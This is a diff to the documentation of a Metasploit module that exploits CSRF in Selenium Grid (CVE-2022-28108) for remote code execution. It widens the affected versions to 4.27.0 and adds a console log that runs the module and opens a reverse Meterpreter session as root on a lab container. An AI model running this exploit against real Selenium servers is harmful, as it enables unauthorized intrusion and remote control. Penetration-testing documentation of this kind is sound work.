|
1 | 1 | ## Vulnerable Application |
2 | 2 |
|
3 | | -Selenium Server (Grid) before 4.7 allows CSRF because it permits non-JSON content types |
| 3 | +Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) |
| 4 | +allows CSRF because it permits non-JSON content types |
4 | 5 | such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. |
5 | | -The number of sessions must be fewer than maxSessions for the exploit to succeed. |
| 6 | +At least, the number of sessions must be fewer than maxSessions for the exploit to succeed. |
6 | 7 |
|
7 | 8 | The vulnerability affects: |
8 | 9 |
|
9 | | - * Selenium Server (Grid) before 4.7 |
| 10 | + * Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) |
10 | 11 |
|
11 | 12 | This module was successfully tested on: |
12 | 13 |
|
13 | 14 | * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 |
14 | 15 | * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 |
15 | 16 | * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 |
| 17 | + * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 |
16 | 18 |
|
17 | 19 |
|
18 | 20 | ### Installation |
@@ -136,3 +138,22 @@ BuildTuple : x86_64-linux-musl |
136 | 138 | Meterpreter : x64/linux |
137 | 139 | meterpreter > |
138 | 140 | ``` |
| 141 | + |
| 142 | +### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 |
| 143 | +``` |
| 144 | +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4449 |
| 145 | +[*] Started reverse TCP handler on 192.168.56.1:4444 |
| 146 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 147 | +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. |
| 148 | +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:60066) at 2025-01-02 09:29:36 +0900 |
| 149 | +
|
| 150 | +meterpreter > getuid |
| 151 | +Server username: root |
| 152 | +meterpreter > sysinfo |
| 153 | +Computer : 172.17.0.2 |
| 154 | +OS : Ubuntu 24.04 (Linux 6.8.0-51-generic) |
| 155 | +Architecture : x64 |
| 156 | +BuildTuple : x86_64-linux-musl |
| 157 | +Meterpreter : x64/linux |
| 158 | +meterpreter > |
| 159 | +``` |
0 commit comments